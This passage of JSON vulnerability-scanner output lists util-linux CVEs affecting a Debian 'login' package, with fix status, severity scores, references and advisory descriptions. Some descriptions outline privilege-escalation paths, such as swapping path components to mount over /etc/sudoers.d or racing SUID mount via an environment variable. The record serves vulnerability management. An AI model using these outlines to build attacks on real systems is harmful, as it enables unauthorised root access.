"https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/24da33905c7115c4cbccd0afb2a469804e96467a", "https://github.com/util-linux/util-linux/commit/722c96974dd4009a334e4aee556eedaab5fb94b4", "https://github.com/util-linux/util-linux/commit/897a08c2b11dfa66975c3d24d63c7bf5f5be1a7c", "https://github.com/util-linux/util-linux/commit/d0c5adaeb3a3d823aba1377794de8f009b8152cc", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-g8wm-75wr-g2vh", "https://linux.oracle.com/cve/CVE-2026-53612.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53612", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53612" ], "PublishedDate": "2026-10-14T15:17:20.26Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53613", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "c0ab0b857644733b" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53613", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:35f36ba4159aaea3b7999dbc44899fbc98a065cbd85db77ed012f6b83f6fb6d6", "Title": "util-linux: TOCTOU in the mount program via ancestor directory swap on target path", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.17 through 2.41.6 and 2.42 through 2.42.3, and in 2.42.4 when the legacy `mount(2)` path is used without `/proc`, restricted non-root `mount` requests validate an `/etc/fstab` target before the mount operation re-resolves that pathname. A local low-privileged user authorized by an fstab `user` or `users` entry whose target has an attacker-writable ancestor can use `renameat2(RENAME_EXCHANGE)` to swap a path component and redirect an authorized mount to a root-owned location, such as mounting attacker-controlled content over `/etc/sudoers.d`, and thereby gain root privileges. Versions 2.41.5 and 2.42.2 pin targets for the new mount API, and 2.42.4 pins legacy targets through `/proc/self/fd`; the documented legacy fallback without `/proc` remains affected.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53613", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/0b010025a0e429bc80355c94db86a843395d49e2", "https://github.com/util-linux/util-linux/commit/0d3d55975aa3492c62fd345eac38f41cd166c0b0", "https://github.com/util-linux/util-linux/commit/2c773f336134acf016e639abb6f12ba7341fe4b8", "https://github.com/util-linux/util-linux/commit/39fef62bf3226abb6bb018fa8750afa0327e84b4", "https://github.com/util-linux/util-linux/commit/472cc3fb2d4d47cca7aab2e0b59eb3fb8a9359ec", "https://github.com/util-linux/util-linux/commit/646fb66603d10a7ac337e14f566f1af48e3107c9", "https://github.com/util-linux/util-linux/commit/708d1b3c51932dc5ba8082c7368187715e6a8d78", "https://github.com/util-linux/util-linux/commit/78a860982e036f38fe9c0b3344998df5ac2c2ff5", "https://github.com/util-linux/util-linux/commit/85d16b341f7232c9dbb4884b632e1e956584bee9", "https://github.com/util-linux/util-linux/commit/a9508d216eb8977979102782672e0470cc9bf2a2", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/releases/tag/v2.42.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8gj5-72r3-428g", "https://linux.oracle.com/cve/CVE-2026-53613.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53613", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53613" ], "PublishedDate": "2026-10-14T15:17:20.41Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53614", "VendorIDs": [ "DSA-6442-1" ], "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "c0ab0b857644733b" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53614", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d3667cef5313e28114dca3c1365ad3902ad1d0cebfd2029033ecf23476e9eba9", "Title": "util-linux: util-linux: SUID mount(8) allows nosuid/noexec bypass via LIBMOUNT_FORCE_MOUNT2", "Description": "util-linux is a random collection of Linux utilities. In util-linux 2.39.1 through 2.41.4 and 2.42 through 2.42.1, the SUID `mount` utility reads the attacker-controlled `LIBMOUNT_FORCE_MOUNT2` environment variable with `getenv()`, allowing a local low-privileged\nuser to force the non-atomic legacy bind-mount path. With an `/etc/fstab` bind mount authorized by `user` or `users` and protected by `nosuid`, `noexec`, or `nodev`, an attacker can race the window between the initial bind mount and the remount that applies those security flags and execute a SUID program from the temporarily unprotected mount, potentially gaining root privileges. This issue is fixed in 2.41.5 and 2.42.2.", "Severity": "HIGH", "CweIDs": [ "CWE-269", "CWE-807" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53614", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/31e37c1c7dcf25b76ccf41391fe934a75644c661", "https://github.com/util-linux/util-linux/commit/53ff0fcdab12d69c60c971c69a3d0d173fa46ca9", "https://github.com/util-linux/util-linux/commit/9cbfb823500f510b34767edabd3ffd5b436987b4", "https://github.com/util-linux/util-linux/commit/cc81bbcec598cb91f0eb8456282f33eed820ed5f", "https://github.com/util-linux/util-linux/commit/fd6b4d94ff013dc7ed680d4e864610da5b9751f1", "https://github.com/util-linux/util-linux/releases/tag/v2.41.5", "https://github.com/util-linux/util-linux/releases/tag/v2.42.2", "https://github.com/util-linux/util-linux/security/advisories/GHSA-67r7-8m5w-22wx", "https://linux.oracle.com/cve/CVE-2026-53614.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53614", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53614" ], "PublishedDate": "2026-10-14T16:17:45.93Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-53615", "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "c0ab0b857644733b" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "FixedVersion": "2.41.5-0+deb13u1", "Status": "fixed", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-53615", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:d2a29e9c24b6221bd61de50c23b334341da6e77b481ec6cf19ea3d212686fc6c", "Title": "util-linux: util-linux: Partition metadata compromise via integer overflow in DOS partition parser", "Description": "util-linux is a random collection of Linux utilities. Before util-linux 2.41.4, `parse_dos_extended()` in `libblkid/src/partitions/dos.c` computes an extended-partition start sector with 32-bit addition and does not apply the extended-area bounds checks to the first two EBR entries. A local attacker who causes a crafted DOS extended-partition disk image or removable medium to be probed can wrap `cur_start + start` to sector zero and cause libblkid to report a false partition overlapping the MBR. This directly compromises the integrity of the reported partition metadata; disk modification or availability loss requires a separate downstream consumer to act on that metadata. This issue is fixed in 2.41.4.", "Severity": "HIGH", "CweIDs": [ "CWE-190" ], "VendorSeverity": { "alma": 3, "amazon": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3, "ubuntu": 2 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:H", "V3Score": 8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-53615", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/commit/05c2dbadf34cc74192287f377904afaaf4061623", "https://github.com/util-linux/util-linux/commit/a2d858176b609ab5b8535021a3af9cd302d23d31", "https://github.com/util-linux/util-linux/commit/e9d544d013267ea86b70ee8ff78abd280e6641af", "https://github.com/util-linux/util-linux/releases/tag/v2.41.4", "https://github.com/util-linux/util-linux/security/advisories/GHSA-h4rw-gv36-wmp5", "https://linux.oracle.com/cve/CVE-2026-53615.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-53615", "https://ubuntu.com/security/notices/USN-8702-1", "https://www.cve.org/CVERecord?id=CVE-2026-53615" ], "PublishedDate": "2026-10-14T16:17:46.07Z", "LastModifiedDate": "2026-10-16T16:00:33.533Z" }, { "VulnerabilityID": "CVE-2026-76642", "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "c0ab0b857644733b" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-76642", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:cd92894c4c748136c5bc6f297852d05852c3412913429460a630fa52e31595d8", "Title": "util-linux: util-linux: failed external mount helper still runs privileged X-mount post-hooks", "Description": "util-linux versions through 2.41.5 and 2.42.2 fail to check mount helper exit status before running post-mount hooks, allowing unprivileged users to execute privileged operations on pre-existing filesystems. Attackers can exploit X-mount.idmap or X-mount.owner hooks to clone filesystems with inherited suid bits or modify target inode permissions after a helper fails, achieving privilege escalation.", "Severity": "HIGH", "CweIDs": [ "CWE-390" ], "VendorSeverity": { "alma": 3, "azure": 2, "oracle-oval": 3, "photon": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/security/cve/CVE-2026-76642", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L476", "https://github.com/util-linux/util-linux/blob/v2.42.2/libmount/src/context_mount.c#L892", "https://github.com/util-linux/util-linux/commit/1d14676ea70003e9f5b2a6a76af0cadb1190411a", "https://github.com/util-linux/util-linux/commit/a15c00a9e545aa8b9cf6ec0f888ff6c7b3eaeedc", "https://github.com/util-linux/util-linux/commit/f57cea130839c0af8dc0525274267ae4cfd66bbf", "https://github.com/util-linux/util-linux/security/advisories/GHSA-m25x-3hj9-m26f", "https://linux.oracle.com/cve/CVE-2026-76642.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-76642", "https://www.cve.org/CVERecord?id=CVE-2026-76642", "https://www.vulncheck.com/advisories/util-linux-libmount-privilege-escalation-via-failed-mount-helper" ], "PublishedDate": "2026-09-03T13:06:08.44Z", "LastModifiedDate": "2026-09-24T20:28:01.78Z" }, { "VulnerabilityID": "CVE-2026-78408", "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "c0ab0b857644733b" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78408", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:6ded4a16b7ea2e1c3c10f08f97d59d6be8f96c49e82fe48d4685d63d228bdbe7", "Title": "util-linux: util-linux: nsenter --join-cgroup leaks root cgroup migration authority", "Description": "The nsenter --join-cgroup option opens the target cgroup.procs file as root and leaves that file descriptor open across later namespace and credential changes and across execve(). Because the kernel checks later cgroup migrations using the credentials from the original open, a program run in an attacker-controlled target can inherit root's ability to move host processes between cgroups. After a privileged operator uses --join-cgroup against that target, an unprivileged user can migrate and terminate unrelated root processes.", "Severity": "HIGH", "CweIDs": [ "CWE-775" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:N/I:H/A:H", "V3Score": 7.9 } }, "References": [ "http://www.openwall.com/lists/oss-security/2026/09/05/2", "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78408", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-76642", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78408", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-78410", "https://errata.almalinux.org/10/ALSA-2026-93461.html", "https://errata.rockylinux.org/RLSA-2026:93461", "https://github.com/util-linux/util-linux/security/advisories/GHSA-55fx-f4gg-cfhj", "https://linux.oracle.com/cve/CVE-2026-78408.html", "https://linux.oracle.com/errata/ELSA-2026-93461.html", "https://nvd.nist.gov/vuln/detail/CVE-2026-78408", "https://www.cve.org/CVERecord?id=CVE-2026-78408" ], "PublishedDate": "2026-09-02T16:17:23.687Z", "LastModifiedDate": "2026-11-05T03:17:32.977Z" }, { "VulnerabilityID": "CVE-2026-78409", "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "c0ab0b857644733b" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78409", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:3cfcb83e00a0ea8c2bca46f70109a75af2ca9fc3a4371a45c77b1f18540e0ed8", "Title": "util-linux: util-linux: X-mount.subdir detached-tree resolution can escape via intermediate symlinks", "Description": "The X-mount.subdir option uses a detached-tree fast path on Linux 6.15 and later and passes the configured subdirectory to open_tree() with AT_SYMLINK_NOFOLLOW. That flag does not stop intermediate symlink traversal or keep resolution inside the newly mounted filesystem. A local unprivileged user with an fstab-authorized X-mount.subdir entry can attach a host path at the intended mountpoint.", "Severity": "HIGH", "CweIDs": [ "CWE-59" ], "VendorSeverity": { "redhat": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/security/cve/CVE-2026-78409", "https://bugzilla.redhat.com/show_bug.cgi?id=2522607", "https://github.com/util-linux/util-linux/security/advisories/GHSA-8f2p-47x3-43mv", "https://nvd.nist.gov/vuln/detail/CVE-2026-78409", "https://www.cve.org/CVERecord?id=CVE-2026-78409" ], "PublishedDate": "2026-09-02T16:17:23.833Z", "LastModifiedDate": "2026-11-05T00:17:28.61Z" }, { "VulnerabilityID": "CVE-2026-78410", "PkgID": "login@1:4.16.0-2+really2.41-5", "PkgName": "login", "PkgIdentifier": { "PURL": "pkg:deb/debian/login@4.16.0-2%2Breally2.41-5?arch=amd64\u0026distro=debian-13.6\u0026epoch=1", "UID": "c0ab0b857644733b" }, "InstalledVersion": "1:4.16.0-2+really2.41-5", "Status": "affected", "Layer": { "DiffID": "sha256:6f94328331290cbd81edab450664d42da7b64c191416c9346cd5d28c84f76035" }, "PrimaryURL": "https://avd.aquasec.com/nvd/cve-2026-78410", "DataSource": { "ID": "debian", "Name": "Debian Security Tracker", "URL": "https://salsa.debian.org/security-tracker-team/security-tracker" }, "Fingerprint": "sha256:35870e132151222a952961856e372817d4b90c7a7fb78e0997b977a70ff21432", "Title": "util-linux: util-linux: restricted bind mounts do not pin the source, allowing X-mount.owner/group/mode redirection", "Description": "A flaw was found in util-linux. Restricted bind mounts take the source path from fstab but do not pin that source before the privileged mount. A local unprivileged user who can replace the authorized source or a writable ancestor can redirect SUID mount(8) to bind another host directory. If the fstab entry also sets X-mount.owner, X-mount.group, or X-mount.mode, root then changes ownership or mode on that redirected inode.", "Severity": "HIGH", "CweIDs": [ "CWE-367" ], "VendorSeverity": { "alma": 3, "azure": 3, "oracle-oval": 3, "redhat": 3, "rocky": 3 }, "CVSS": { "redhat": { "V3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "V3Score": 7.8 } }, "References": [ "https://access.redhat.com/errata/RHSA-2026:63162", "https://access.redhat.com/errata/RHSA-2026:93461", "https://access.redhat.com/errata/RHSA-2026:95365", "https://access.redhat.com/security/cve/CVE-2026-78410", "https://bugzilla.redhat.com/2454956", "https://bugzilla.redhat.com/2494101", "https://bugzilla.redhat.com/2519646", "https://bugzilla.redhat.com/2519647", "https://bugzilla.redhat.com/2519648", "https://bugzilla.redhat.com/2521999", "https://bugzilla.redhat.com/2522497", "https://bugzilla.redhat.com/2522684", "https://bugzilla.redhat.com/2552551", "https://bugzilla.redhat.com/show_bug.cgi?id=2454956", "https://bugzilla.redhat.com/show_bug.cgi?id=2494101", "https://bugzilla.redhat.com/show_bug.cgi?id=2519646", "https://bugzilla.redhat.com/show_bug.cgi?id=2519647", "https://bugzilla.redhat.com/show_bug.cgi?id=2519648", "https://bugzilla.redhat.com/show_bug.cgi?id=2521999", "https://bugzilla.redhat.com/show_bug.cgi?id=2522497", "https://bugzilla.redhat.com/show_bug.cgi?id=2522684", "https://bugzilla.redhat.com/show_bug.cgi?id=2552551", "https://creativecommons.org/licenses/by/4.0/", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-13595", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-27456", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53612", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53613", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53614", "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-53615", 